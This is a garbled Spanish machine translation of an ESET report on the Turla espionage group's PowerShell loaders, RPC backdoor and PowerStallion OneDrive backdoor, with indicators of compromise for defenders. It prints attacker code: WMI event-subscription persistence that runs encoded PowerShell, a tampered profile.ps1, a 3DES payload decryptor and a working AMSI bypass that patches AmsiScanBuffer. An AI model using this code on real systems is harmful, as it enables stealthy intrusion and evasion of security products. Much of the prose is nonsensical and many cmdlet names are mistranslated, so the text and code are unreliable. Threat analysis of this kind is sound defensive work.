Un análisis de cómo Turla utilizó PowerShell
Investigadores de ESET analizan nuevas tácticas, técnicas y procedimientos (TTP) atribuidos al Turla Group of PowerShell Uses únicamente para mejorar el malware de memoria
Turla, también conocido como Snake, es un grupo dedicado al espionaje reconocido por completar malware. Para generar confusión, nuestros operadores constantemente comentan sobre el uso de scripts de PowerShell que ofrecen la capacidad de cargar y ejecutar, en memoria, ejecutivos maliciosos y gratuitos. Esta es la primera vez que se detecta un campo que puede activarse cuando una persona malintencionada cae de la discoteca.
Se cree que Turla ha estado operando desde al menos 2008, cuando satisfactoriamente se infiltró en equipos de las Fuerzas Armadas de los Estados Unidos. La mayor parte del tiempo estuve involucrado en grandes ataques contra las oficinas del Ministerio de Relaciones Exteriores de Alemania y el Imperio Francés.
Este no es el primer caso en el que Turla utiliza cargadores en la memoria de PowerShell para aumentar las posibilidades de evadir productos de seguridad. En 2018, Kaspersky publicó un informe que analizaba un cargador en TurS PowerShell que se basaba en el proyecto de código abierto Posh-SecMod. Sin embargo, presenta algunos problemas y muchas veces te has puesto de acuerdo.
Luego de unos meses, Turla mejoró estos scripts y ahora los está utilizando para cargar un amplio rango de malware personalizado de su arsenal tradicional.
El tipo de victoria es un blanco común para Turla. Hemos identificado varias entidades diplomáticas en Europa del Este que han comprometido el uso de este guión. Sin embargo, es probable que nuestros guiones estén utilizando medios globales contra muchos ataques blancos de los ataques tradicionales de Turla en Europa Occidental y el Mediterráneo Oriental. Tal como están las cosas, este artículo ayudará a los equipos de seguridad a contrarrestar estos scripts de PowerShell. También presentamos varias cargas útiles, incluida una puerta trasera basada en RCP y una puerta trasera que implementa uno de los usos de OneDrive como servidor de Commander y Control.
El cargador de PowerShell se basa en tres características principales: persistencia, libertad y carga en la memoria del ejecutivo envalentonado de la libertad.
Persistencia
Los scripts de PowerShell no son simples droppers, sino que persisten en el sistema y solo los ejecutivos regulares pueden cargarlos en la memoria normal. Echemos un vistazo a los operadores de Turla usando los métodos de persistencia:
- Obtenga un evento de suscripción para el Instrumental de administración de Windows (WMI)
- Alteración del perfil de PowerShell (archivo perfil.ps1).
Instrumentación de Administración Windows
En el primer caso, los ataques creados por los filtros de eventos de WMI y los eventos de consumo de WMI. Los consumidores son simplemente líneas de mando que lanzan comandos de PowerShell en base64 que cargan un solo script de PowerShell adjunto al registro de Windows. La figura 1 muestra cómo establecer la persistencia.
Get-WmiObject CommandLineEventConsumer -Raíz de espacio de nombres suscripción -filter "name =" Syslog Consumer "" | Eliminar-WmiObject; $ NLP35gh = Set-WmiInstance -Namespace "rootsubscription" -Class 'CommandLineEventConsumer' -Arguments @ {name = "Syslog Consumer"; CommandLineTemplate = "$ ($ Env: SystemRoot)System32WindowsPowerShellv1.0powershell. exe -enc $ HL39fjh "; RunInteractively = 'falso'}; Get-WmiObject __eventFilter -raíz de espacio de nombres suscripción -filter "name =" Filtro de adaptador de registro "" | Eliminar-WmiObject; Get-WmiObject __FilterToConsumerBinding -Raíz de espacio de nombres suscripción | Where-Object {$ _. Filter -match 'Adaptador de registro'} | Eliminar-WmiObject; $ IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 15 AND TargetInstance.Minute = 30 AND TargetInstance.Second = 40"; $ VQI79dcf = Set-WmiInstance -Class __EventFilter -Raíz de espacio de nombressuscripción -Argumentos @ {nombre = "Filtro de adaptador de registro"; EventNameSpace = "raíz CimV2"; QueryLanguage = "WQL"; Consulta = $ IT825cd}; Set-WmiInstance -Raíz de espacio de nombres suscripción -Clase __FilterToConsumerBinding -Argumentos @ {Filtro = $ VQI79dcf; Consumidor = $ NLP35gh}; Get-WmiObject __eventFilter -raíz de espacio de nombres suscripción -filter "name =" AD Bridge Filter "" | Eliminar-WmiObject; Get-WmiObject __FilterToConsumerBinding -Raíz de espacio de nombres suscripción | Where-Object {$ _. Filter -match 'AD Bridge'} | Eliminar-WmiObject; $ IT825cd = "SELECCIONE * DESDE __instanceModificationEvent DENTRO DE 60 DONDE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' Y TargetInstance.SystemUpTime> = 300 Y TargetInstance.SystemUpTime <400"; $ VQI79dcf = Set-WmiInstance -Class __EventFilter -Raíz de espacio de nombres suscripción - Argumentos @ {nombre = "Filtro de puente AD"; EventNameSpace = "raíz CimV2"; QueryLanguage = "WQL"; Consulta = $ IT825cd}; Set-WmiInstance -Raíz de espacio de nombres suscripción -Clase __FilterToConsumerBinding -Argumentos @ {Filtro = $ VQI79dcf; Consumidor = $ NLP35gh};
Conseguir-WmiObjeto CommandLineEventConsumer -espacio de nombres raízsuscripción -filtrar "nombre =" Consumidor Syslog "" | Remover-WmiObjeto; psNLP35gh = Colocar-Instancia Wmi -espacio de nombres "raíz suscripción" -Clase 'Consumidor de eventos de línea de comando' -Argumentos @{nombre='Consumidor Syslog';Plantilla de línea de comando="$ ($ Env: SystemRoot) System32 WindowsPowerShell v1.0 powershell.exe -enc $ HL39fjh";Ejecutar de forma interactiva='falso'}; Conseguir-WmiObjeto __eventFilter -espacio de nombres raízsuscripción -filtrar "name =" Filtro de adaptador de registro ""| Remover-WmiObjeto; Conseguir-WmiObjeto __FilterToConsumerBinding -espacio de nombres raízsuscripción | Donde-Objeto {ps_.filtrar -partido 'Adaptador de registro'} | Remover-WmiObjeto; psIT825cd = "SELECCIONE * DE __instanceModificationEvent DONDE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 15 AND TargetInstance.Minute = 30 AND TargetInstance.Second = 40"; psVQI79dcf = Colocar-Instancia Wmi -Clase __Filtro de eventos -espacio de nombres raízsuscripción -Argumentos @{nombre='Filtro del adaptador de registros';NombreEventoEspacio='raíz CimV2';Lenguaje de consulta='WQL';Consulta=psIT825cd}; Colocar-Instancia Wmi -espacio de nombres raízsuscripción -Clase __FilterToConsumerBinding -Argumentos @{Filtrar=psVQI79dcf;Consumidor=psNLP35gh}; Conseguir-WmiObjeto __eventFilter -espacio de nombres raízsuscripción -filtrar "nombre =" filtro de puente AD ""| Remover-WmiObjeto; Conseguir-WmiObjeto __FilterToConsumerBinding -espacio de nombres raízsuscripción | Donde-Objeto {ps_.filtrar -partido 'Puente AD'} | Remover-WmiObjeto; psIT825cd = "SELECCIONE * DESDE __instanceModificationEvent DENTRO DE 60 DONDE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' Y TargetInstance.SystemUpTime> = 300 Y TargetInstance.SystemUpTime <400 "; psVQI79dcf = Colocar-Instancia Wmi -Clase __Filtro de eventos -espacio de nombres raízsuscripción -Argumentos @{nombre='Filtro de puente AD';NombreEventoEspacio='raíz CimV2';Lenguaje de consulta='WQL';Consulta=psIT825cd}; Colocar-Instancia Wmi -espacio de nombres raízsuscripción -Clase __FilterToConsumerBinding -Argumentos @{Filtrar=psVQI79dcf;Consumidor=psNLP35gh}; |
Figura 1: persistencia mediana del usuario de WMI
Este evento se registró recientemente a las 15:30:40 y el tiempo de actividad del sistema está entre 300 y 400 segundos. La variable $ HL39fjh Continúe con el comando PowerShell codificado en base64 que se puede actualizar en la Figura 2. Lee lala della Windows Registry donde está almacenado el payload grabado y contiene la contraseña y el salto necesario para descifrar el payload.
[System.Text.Encoding]::ASCII.ObtenerCadena([Convert]::DesdeBase64Cadena(">)) | iex ;[Text.Encoding]::ASCII.ObtenerCadena([Convert]::DesdeBase64Cadena((Conseguir-ArtículoPropiedad '$ ZM172da').'$ WY79ad')) | iex |
Figura 2. Control de WMI de consumidor de PowerShell
Finalmente, el script de carga útil se cifra en el registro de Windows. Tenga en cuenta que los atacantes usan una ubicación de registro diferente para cada organización. Igualmente, pero el resultado es un indicador útil para detectar intrusiones similares.
Perfil.ps1
Este es el último caso, los atacantes todavía están en el perfil de PowerShell. Tome nota de la documentación de Microsoft:
Un perfil de PowerShell es un script que se usa al iniciar un PowerShell. Puede usar el perfil como un script para iniciar una sesión para personalizarlo. Agregados de energía, comandos, funciones, variables, complementos, módulos y unidades de PowerShell.
La Figura 3 muestra un perfil de PowerShell modificado por Turla.
pruebe {$ SystemProc = (Get-WmiObject 'Win32_Process' |? {$ _. ProcessId -eq $ PID} |% {Invoke-WmiMethod -InputObject $ _ -Name 'GetOwner'} |? {(Get-WmiObject -Class Win32_Account -Filtro "nombre="$($_.Usuario)""). SID -eq "S-1-5-18"}) if ($SystemProc"-ne"") {$[Convert]:: ToBase64String ($ ([Text.Encoding]:: ASCII.GetBytes ("
[Text.Encoding]:: Unicode.GetString ([Convert]:: FromBase64String ("=")) | iex | Fuera-Nulo; matar $ PID; }} captura {$ ([Convert]:: ToBase64String ($ ([Text.Encoding]:: ASCII.GetBytes ("
tratar { psSystemProc = (Conseguir-WmiObjeto 'Win32_Proceso' | ?{ps_.Identificacion de proceso -equivalente psPID} | % {Invocar-Método Wmi -Objeto de entrada ps_ -Nombre 'ObtenerPropietario'} | ?{(Conseguir-WmiObjeto -Clase Win32_Cuenta -Filtrar "nombre =" $ ($ _. Usuario) "").S.I.D. -equivalente "S-1-5-18"}) Si ("$ SystemProc" -no "") { ps([Convert]::ToBase64String(ps([Text.Encoding]::ASCII.ObtenerBytes(" [Text.Encoding]::Unicode.ObtenerCadena([Convert]::DesdeBase64Cadena("=")) | iex | Afuera-Nulo; matar psPID; } } captura{ps([Convert]::ToBase64String(ps([Text.Encoding]::ASCII.ObtenerBytes(" |
Figura 3. Archivar perfil.ps1 protegido
El comando de PowerShell grabado en base64 es muy similar a al. utilizado por los consumidores de WMI.
Descifrado
La carga útil que figura en el registro de Windows es otro script de PowerShell. Generado con el script Out-EncryptedScript code.ps1 de la plataforma de pruebas de penetración PowerSploit. Adicionalmente, los números de las variables son aleatorios para comprobar el script, lo cual se puede apreciar en la Figura 4.
$ GSP540cd = "
[Byte[]]$XYW18ja = $SB49gje.GetBytes (16); $ EN594ca = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider; $ EN594ca.Modo = [System.Security.Cryptography.CipherMode]:: CBC;
[Byte[]]$ ID796ea = Byte de objeto nuevo[]($ STD33abh.Longitud); $ZQD772bf = $EN594ca.CreateDecryptor ($XYW18ja, $RS99ggf); $ DCR12ffg = New-Object System.IO.MemoryStream ($ STD33abh, $ True); $ WG731ff = Nuevo-Objeto System.Security.Cryptography.CryptoStream ($ DCR12ffg, $ ZQD772bf, [System.Security.Cryptography.CryptoStreamMode]:: Leer); $ XBD387bb = $ WG731ff.Read ($ ID796ea, 0, $ ID796ea.Length); $ OQ09hd = [YR300hf]:: IWM01jdg ($ID796ea); $ DCR12ffg.Cerrar (); $ WG731ff.Cerrar (); $ EN594ca.Claro (); devuelve $ XZ228hha.GetString ($ OQ09hd, 0, $ OQ09hd.Length);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 dieciséis 17 |
psGSP540cd = " psRS99ggf = psXZ228hha.ObtenerBytes("PINGQXOMQFTZGDZX"); psSTD33abh = [Convert]::DesdeBase64Cadena(psGSP540cd); psSB49gje = Nuevo-Objeto Sistema.Seguridad.Criptografía.ContraseñaDeriveBytes(psIY51aab, psXZ228hha.ObtenerBytes(psCBI61aeb), "SHA1", 2); [Byte[]]psXYW18ja = psSB49gje.ObtenerBytes(dieciséis); psEN594ca = Nuevo-Objeto Sistema.Seguridad.Criptografía.TripleDESCryptoServiceProvider; psEN594ca.Modo = [System.Security.Cryptography.CipherMode]::CBC; [Byte[]]psID796ea = Nuevo-Objeto Byte[](psSTD33abh.Largo); psZQD772bf = psEN594ca.CreateDecryptor(psXYW18ja, psRS99ggf); psDCR12ffg = Nuevo-Objeto Sistema.IO.Flujo de memoria(psSTD33abh, psVerdadero); psWG731ff = Nuevo-Objeto Sistema.Seguridad.Criptografía.CryptoStream(psDCR12ffg, psZQD772bf, [System.Security.Cryptography.CryptoStreamMode]::Leer); psXBD387bb = psWG731ff.Leer(psID796ea, 0, psID796ea.Largo); psOQ09hd = [YR300hf]::IWM01jdg(psID796ea); psDCR12ffg.Cerrar(); psWG731ff.Cerrar(); psEN594ca.Claro(); devolver psXZ228hha.ObtenerCadena(psOQ09hd,0,psOQ09hd.Largo); |
Figura 4. Rutina rutinaria
La carga útil se especifica utilizando el algoritmo 3DES. El vector de inicialización está en la muestra. PINGQXOMQFTZGDZX, es diferente para cada muestra. La llave y el salto también son diferentes para cada script y no son almacenados en el script, salvo en el filtro WMI o en el archivo perfil.ps1.
PE del cargador
La carga útil se descifra en la etapa previa y es un cargador reflexivo de PowerShell. Esto se basa en el script Invoke-ReflectivePEInjection.ps1 del marco PowerSploit. El ejecutable está codificado en el script y se carga directamente en la memoria de un proceso que está corrupto en el sistema elegíaco de forma aleatoria.
En algunos casos, los atacantes son específicos de la lista de ejecutivos del binario, pero no deben ser ejecutados, lo cual se puede apreciar en la Figura 5.
$ IgnoreNames = @ "smss.exe", "csrss.exe", "wininit.exe", "winlogon.exe", "lsass.exe", "lsm.exe", "svchost.exe", "avp.exe "," avpsus.exe "," klnagent.exe "," vapm.exe "," spoolsv.exe ");
psIgnorar nombres = @("smss.exe","csrss.exe","wininit.exe","winlogon.exe","lsass.exe","lsm.exe","svchost.exe","avp.exe","avpsus.exe","klnagent.exe","vapm.exe","spoolsv.exe"); |
Figura 5. Ejemplo de lista de exclusión
Es interesante notar que los números avp.exe, avpsus.exe, klnagent.exe y vapm.exe se refieren a los ejecutivos de Kaspersky Labs.
Omitir AMSI
En una serie de muestras lanzadas en marzo de 2019, los modificadores de Turla modificaron sus scripts de PowerShell con la lente de la interfaz Antimaware (AMSI). Esta es una interfaz que le permitirá integrar la aplicación de Windows con el producto antimalware instalado. Es especialmente útil para PowerShell y macros.
No se ha encontrado ningún mecanismo nuevo para volver a emplear una tecnología presentada en Black Hat Asia 2018 en el carro The Rise and Fall of AMSI. Consistir en el parque en memoria del inicio de la función AmsiScanBuffer en libertad amsi.dll.
El script de PowerShell carga un ejecutable .NET para recuperar la dirección AmsiScanBuffer. Luego llama Protección virtual para permitir escribir en la dirección de recuperación.
Finalmente, el parque se implementa directamente en el script de PowerShell, como se aprecia en la Figura 6. Modificación del principio de AmsiScanBuffer para devolver siempre 1 (AMSI_RESULT_NO_DETECTADO). Tal como está, el producto antimalware no corresponde al búfer, la calidad impidió cualquier calidad.
$ punto = [Win32]:: FindAmsiFun (); if ($ ptr -eq 0) {Write-Host "protección no encontrada"} else {if[IntPtr]:: size -eq 4) Write-Host "protección x32 detectada" $ buf = New-Object Byte[] $ 7 buf[0] = 0x66; $ buf[1] = 0xb8; $ buf[2] = 0x01; $ buf[3] = 0x00; $ buf[4] = 0xc2; $ buf[5] = 0x18; $ buf[6] = 0x00; #mov hacha, 1;ret 0x18; $ c = [System.Runtime.InteropServices.Marshal]:: Copiar ($ buf, 0, $ ptr, 7)} else {Write-Host "protección x64 detectada" $ buf = New-Object Byte[] $ 6 buf[0] = 0xb8; $ buf[1] = 0x01; $ buf[2] = 0x00; $ buf[3] = 0x00; $ buf[4] = 0x00; $ buf[5] = 0xc3; #mov eax, 1;ret; $ c = [System.Runtime.InteropServices.Marshal]:: Copiar ($buf, 0, $ptr, 6)}}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 dieciséis 17 18 19 20 21 22 23 |
psptr = [Win32]::BuscarAmsiFun(); Si(psptr -equivalente 0) { Escribe-Anfitrión "protección no encontrada" } demás { Si([IntPtr]::Talla -equivalente 4) { Escribe-Anfitrión "Protección x32 detectada" psbuf = Nuevo-Objeto Byte[] 7 psbuf[0] = 0x66; psbuf[1] = 0xb8; psbuf[2] = 0x01; psbuf[3] = 0x00; psbuf[4] = 0xc2; psbuf[5] = 0x18; psbuf[6] = 0x00; #mov hacha, 1;ret 0x18; psC = [System.Runtime.InteropServices.Marshal]::Dupdo(psbuf, 0, psptr, 7) } demás { Escribe-Anfitrión "Protección x64 detectada" psbuf = Nuevo-Objeto Byte[] 6 psbuf[0] = 0xb8; psbuf[1] = 0x01; psbuf[2] = 0x00; psbuf[3] = 0x00; psbuf[4] = 0x00; psbuf[5] = 0xc3; #mov eax, 1;ret; psC = [System.Runtime.InteropServices.Marshal]::Dupdo(psbuf, 0, psptr, 6) } } |
Figura 6. Parque de funciones AmsiScanBuffer
El script de PowerShell que presentamos es un componente de genéricos utilizados para cargas útiles, como un RCP de puerta trasera y un PowrShell de puerta trasera.
RPC de puerta trasera
Turla ha publicado todos los fondos que se adjuntan al protocolo RCP. Estas puertas traseras se utilizan para proporcionar movimiento lateral y tomar el control de otras máquinas locales sin necesidad de aplicar a un servidor C&C externo.
Las funcionalidades se implementan con datos básicos: archivo de almacenamiento, descarga de archivos y comandos de ejecución para operaciones cmd.exe o PowerShell. Sin embargo, el malware también admite la posibilidad de agregar complementos.
Este RCP de puerta trasera se divide en dos componentes: un servidor y un cliente. Un operador usa el componente de cliente para ejecutar comandos en otra máquina que existe en el componente de servidor existente, que se puede resumir en la Figura 7.
Figura 7. Uso del backdoor RCP
Por ejemplo, la muestra identificada por el siguiente hash SHA-1 EC54EF8D79BF30B63C5249AF7A8A3C652595B923 Esta es una versión de cliente. Es un componente de la tubería denominada \ tubería \ atctl con el siguiente protocolo protocolo “ncacn_np” trabajar RpcStringBindingComposeW. La muestra se puede usar solo con la ayuda de una sola lámpara. NdrClientCall2. El procedimiento se exporta ManejadorWresponsive de analizar los argumentos, muestra que también es posible intentar hacerse pasar por token anónimo o intentar robar otros token de proceso tan solo para la ejecución de un comando.
Por el contrario, el servidor se dio cuenta del peso e implementó los diferentes comandos. Primera revisión y el valor del registro HKLM SISTEMA CurrentControlSet servicios LanmanServer Parámetros NullSessionPipes contiene "atctl”. En el caso de un contingente, el servidor configurará el descriptor de seguridad en la instalación de canalización".S: (ML ;; NO ;;; S-1-16-0)”En detrimento de la función Establecer información de seguridad. Esto se debe a que la tubería está disponible para cualquier propósito (nivel de integridad/confusión).
El patrón de imagen correspondiente corresponde al descriptor de columna MIDL correspondiente y la misma sintaxis es similar a la interfaz ID.
Figura 8. MIDL del RPC de puerta trasera del cliente a la izquierda, servidores a la derecha
Como recomendamos de antemano, esta puerta trasera también admite la carga de carga. El servidor creó un lote que busca archivos que coincidan con el siguiente usuario lPH * .dll. Si el archivo existe, se carga y se puede exportar Inicio del módulo es bonito. Hay varios complementos que se pueden ubicar en este momento, puede usar archivos recientes y archivos de almacenamiento USB.
Muchas variantes de este RCP de puerta trasera se utilizan en la forma de activación. Entre ellos, podemos ver proxies locales (usando upnprpc como el punto final y ncalrpc como una secuencia de protocolo) y nuevas versiones que usan PowerShellRunner para ejecutar scripts directos sin uso directo powershell.exe.
Servidor RPC falso
Debido a nuestra inversión, también encontramos un ejecutable portátil con la ruta pdb: C:UsuariosDesarrollofuentereposRPCSpooferx64Lanzamiento_Win2016_10RPCSpoofServerInstall.pdb (SHA-1: 9D1C563E5228B2572F5CA14F0EC33CA0DEDA3D57).
La principal propuesta de esta utilidad es recuperar la configuración de un proceso RPC que ha registrado una interfaz. Con el final de la clase de proceso, responda a la placa TCP (a la función de la placa TCP) ObtenerTcpTable2) hasta que encuentre el PID del proceso que abrió un puerto específico, o recupere el PID del proceso que abrió un puerto específico llamado pipe. Una vez que este PID es descubierto, esta utilidad lee la memoria del proceso remoto y trata de recuperar la interfaz RPC registrada. El código para esto, que se puede ver en la Figura 9, se puede encontrar en este repositorio de GitHub.
Figura 9. Porción del código buscando la sección .date de rpcrt4.dll en un proceso remoto (captura del cinturón Hex-Rays)
En principio, no estamos seguros de cómo se ha utilizado la información recuperada, ha sido utilizada por otros, (SHA-1: B948E25D061039D64115CFDE74D2FF4372E83765) nos ayudan a comprender. Como vemos en la Figura 10, este patrón recupera la interfaz RPC, reconstruyendo la bandera RPC_IF_ALLOW_SECURE_ONLY, e inicie la "tabla de despacho" en la memoria usando la función EscribirProcesoMemoria. Estas operaciones permiten que la muestra agregue funciones RPC a una interfaz RPC existente. Creemos que lo más prudente es volver a crear un RPC interfacial que cree uno personalizado.
Figura 10. Parte del código que recupera el RPC de la "tabla de despacho" del proceso real (capturas de cinturón Hex-Rays)
PowerStallion
PowerStallion es un backdoor en PowerShell de peso vivo que se puede utilizar como servidor C&C para Microsoft OneDrive; un servicio de comida en la nube. Las credenciales están codificadas de forma rígida al comienzo del script, que se puede ver en la Figura 11.
Figura 11. Credenciales de OneDrive en el script de PowerStallion
Es interesante notar que los operadores de Turla utilizan el proveedor de envío gratuito GMX, así como la respuesta a Outlook Backdoor y LightNeuron. También puede usar la dirección correcta del nombre de un empleado permanente de una organización que tiene un ataque blanco.
Uso útil del comando uso neto para conectar con la unidad del rojo. Verifique la posición, en un bucle, que se puede ajustar en la Figura 12, y hay un comando disponible. Este backdoor solo puede ejecutar scripts PowerShell adicionales. Escriba los resultados del comando en la otra subalfombra en OneDrive y el número con la palabra XOR 0xAA.
Figura 12. Lazo principal del backdoor PowerStallion
Otro artefacto interesante es que el script altera la modificación, el acceso y la hora (MAC) de la creación del archivo local para que coincida con las horas de un archivo legítimo, en este ejemplo. escritorio.inicomo se puede apreciar en la Figura 13.
Figura 13. Modificación de tiempos MAC desde el archivo de registro local
Las cremas que son backdoor son una herramienta para recuperar el acceso a la casa de los principales backdoors de Turla, cuentos como Carbon o Gazer, sean limpios y que los operadores no puedan aceptar los equipos comprometidos:
- Supervisión de registros antimalware
- Supervisar la lista de procesos de Windows
- Instala la versión 4 de ComRAT, uno de los backdoors de la segunda fase de Turla
En un artículo publicado en 2018, encontramos las herramientas Turla usariaa más y más genéricas. Esta nueva inversión confirma nuestro conocimiento y ejemplo de que el grupo Turla no utiliza marcos de utilización para probar y código abierto para aprender las instrucciones apropiadas.
Sin embargo, esto no impide que se atribuyan cuentos ataques a Turla. Los atacantes suelen configurar o modificar estos dispositivos con un código abierto de la forma en que se adaptan mejor a sus necesidades. Sin embargo, es posible separar las diferentes categorías de actividades.
Finalmente, el uso de espinas de pescado está abierto, pero eso no significa que Turla use la utilización de personalidades herbalizadas. Los payloads se cargan mediante el script de PowerShell, el backdoor RCP y PowerStallion, son muy personalizados. Nuestro reciente análisis de LightNeuron de Turla es uno de los grupos más importantes para asegurar que el malware sea completo y personalizado.
Seguiremos dando seguimiento a las nuevas actividades de Turla y estaremos publicando los hallasgos. Por favor consulte, contáctenos en [email protected]. Los Indicadores de compromiso también se pueden encontrar en GitHub.
Hachís
hash SHA-1 | Descripción | Nombre de detección de ESET |
---|---|---|
50C0BF9479EFC93FA9CF1AA99BDCA923273B71A1 | Cargador de PowerShell con carga útil cifrada | PowerShell / Turla.T |
EC54EF8D79BF30B63C5249AF7A8A3C652595B923 | Puerta trasera RPC (cliente) | Win64 / Turla.BQ |
9CDF6D5878FC3AECF10761FD72371A2877F270D0 | Puerta trasera RPC (servidor) | Win64 / Turla.BQ |
D3DF3F32716042404798E3E9D691ACED2F78BDD5 | Complemento RPC de exfiltración de archivos | Win32 / Turla.BZ |
9D1C563E5228B2572F5CA14F0EC33CA0DEDA3D57 | RPCSpoofServerInstaller | Win64 / Turla.BS |
B948E25D061039D64115CFDE74D2FF4372E83765 | parcheador de interfaz RPC | Win64 / Turla.BR |
Números de archivo
- componentes RPC
- % PÚBLICO% iCore.dat (archivo de registro, un byte XOR 0x55)
- \ tubería \ atctl (tubería con nombre)
- PowerStallion
- msctx.ps1
- C:UsuariosPúblicoDocumentosdesktop.db
Llaves de Registro
- componentes RPC
- HKLM SISTEMA CurrentControlSet servicios LanmanServer Parámetros NullSessionPipes contiene atctl
Técnicas MITRE ATT & CK
Táctico | IDENTIFICACIÓN | Nombre | Descripción |
---|---|---|---|
Ejecución | T1086 | Potencia Shell | Los cargadores están escritos en PowerShell. Algunos componentes de RPC pueden ejecutar comandos de PowerShell. |
Persistencia | T1084 | Suscripción a eventos de instrumentación de administración de Windows | Los cargadores de PowerShell usan WMI para la persistencia. |
Evasión de defensa | T1027 | Archivos o información ofuscados | La puerta trasera RPC y PowerStallion cifran el archivo de registro. |
T1140 | Desofuscar / Decodificar archivos o información | Los cargadores de PowerShell descifran la carga incrustada. | |
T1055 | Inyección de proceso | Los cargadores de PowerShell inyectan la carga útil en un proceso remoto. | |
T1099 | pisada de tiempo | PowerStallion modifica las marcas de tiempo de su archivo de registro. | |
Descubrimiento | T1083 | Descubrimiento de archivos y directorios | El complemento RPC recopila información de archivos y directorios. |
T1120 | Detección de dispositivos periféricos | El complemento RPC supervisa las unidades USB. | |
T1012 | Registro de consultas | El componente del servidor de la puerta trasera RPC consulta el registro para NullSessionPipes. | |
T1057 | Descubrimiento de procesos | PowerStallion envió la lista de procesos en ejecución. | |
Recopilación | T1005 | Datos del sistema local | El complemento RPC recopila archivos recientes del sistema de archivos local. |
T1025 | Datos de medios extraíbles | El complemento RPC recopila archivos de unidades USB. | |
Comando y control | T1071 | Protocolo de capa de aplicación estándar | La puerta trasera RPC usa RPC y PowerStallion usa OneDrive a través de SMB. |
exfiltración | T1041 | Exfiltración sobre el canal de comando y control | PowerStallion extrae información a través del canal C&C. |
Deja una respuesta